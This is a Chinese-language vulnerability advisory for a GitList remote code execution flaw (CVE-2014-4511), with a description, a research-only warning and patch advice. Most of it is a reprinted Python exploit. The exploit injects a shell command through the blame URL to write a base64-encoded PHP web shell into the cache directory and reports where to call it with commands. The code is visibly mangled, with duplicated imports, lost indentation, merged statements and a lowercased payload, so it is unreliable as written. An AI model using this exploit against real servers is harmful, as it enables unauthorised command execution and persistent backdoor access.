GitList远程代码执行漏洞(CVE-2014-4511)_漏洞分析

受影响系统：
gitlist gitlist < 0.4.0
gitlist gitlist
描述：
--------------------------------------------------------------------------------
bugtraq id: 68253
cve(can) id: cve-2014-4511

gitlist是用php编写的开源软件，是git库浏览器。

gitlist 0.4.0之前版本在实现上存在远程代码执行漏洞，远程攻击者可利用此漏洞执行任意代码。

<*来源：drone
*>
测试方法： --------------------------------------------------------------------------------

警告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

复制代码

代码如下:

from commands import getoutput
import urllib
import sys
from commands import getoutput
import urllib
import sys
"""
exploit title: gitlist <= 0.4.0 anonymous rce
date: 06/20/2014
author: drone (@dronesec)
vendor homepage: <a href="http://gitlist.org/">http://gitlist.org/</a>
software link: <a href="https://s3.amazonaws.com/gitlist/gitlist-0.4.0.tar.gz">https://s3.amazonaws.com/gitlist/gitlist-0.4.0.tar.gz</a>
version: <= 0.4.0
fixed in: 0.5.0
tested on: debian 7
more information: <a href="http://hatriot.github.io/blog/2014/06/29/gitlist-rce/">http://hatriot.github.io/blog/2014/06/29/gitlist-rce/</a>
cve: cve-2014-4511
"""
if len(sys.argv) <= 1:
print '%s: [url to git repo] {cache path}' % sys.argv[0]
print ' example: python %s <a href="http://localhost/gitlist/my_repo.git'">http://localhost/gitlist/my_repo.git'</a> % sys.argv[0]
print ' example: python %s <a href="http://localhost/gitlist/my_repo.git">http://localhost/gitlist/my_repo.git</a> /var/www/git/cache' % sys.argv[0]
sys.exit(1)
url = sys.argv[1] url = url if url[-1] != '/' else url[:-1]
path = "/var/www/gitlist/cache"
if len(sys.argv) > 2:
path = sys.argv[2]
print '[!] using cache location %s' % path
# payload <?system($_get['cmd']);?> payload = "pd9zexn0zw0ojf9hrvrbj2ntzcddkts/pgo="
# sploit; python requests does not like this url, hence wget is used
mpath = '/blame/master/""`echo {0}|base64 -d > {1}/x.php`'.format(payload, path)
mpath = url+ urllib.quote(mpath)
out = getoutput("wget %s" % mpath)
if '500' in out:
print '[!] shell dropped; go hit %s/cache/x.php?cmd=ls' % url.rsplit('/', 1)[0]
else:
print '[-] failed to drop'
print out

建议：
--------------------------------------------------------------------------------
厂商补丁：

gitlist
-------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://gitlist.org/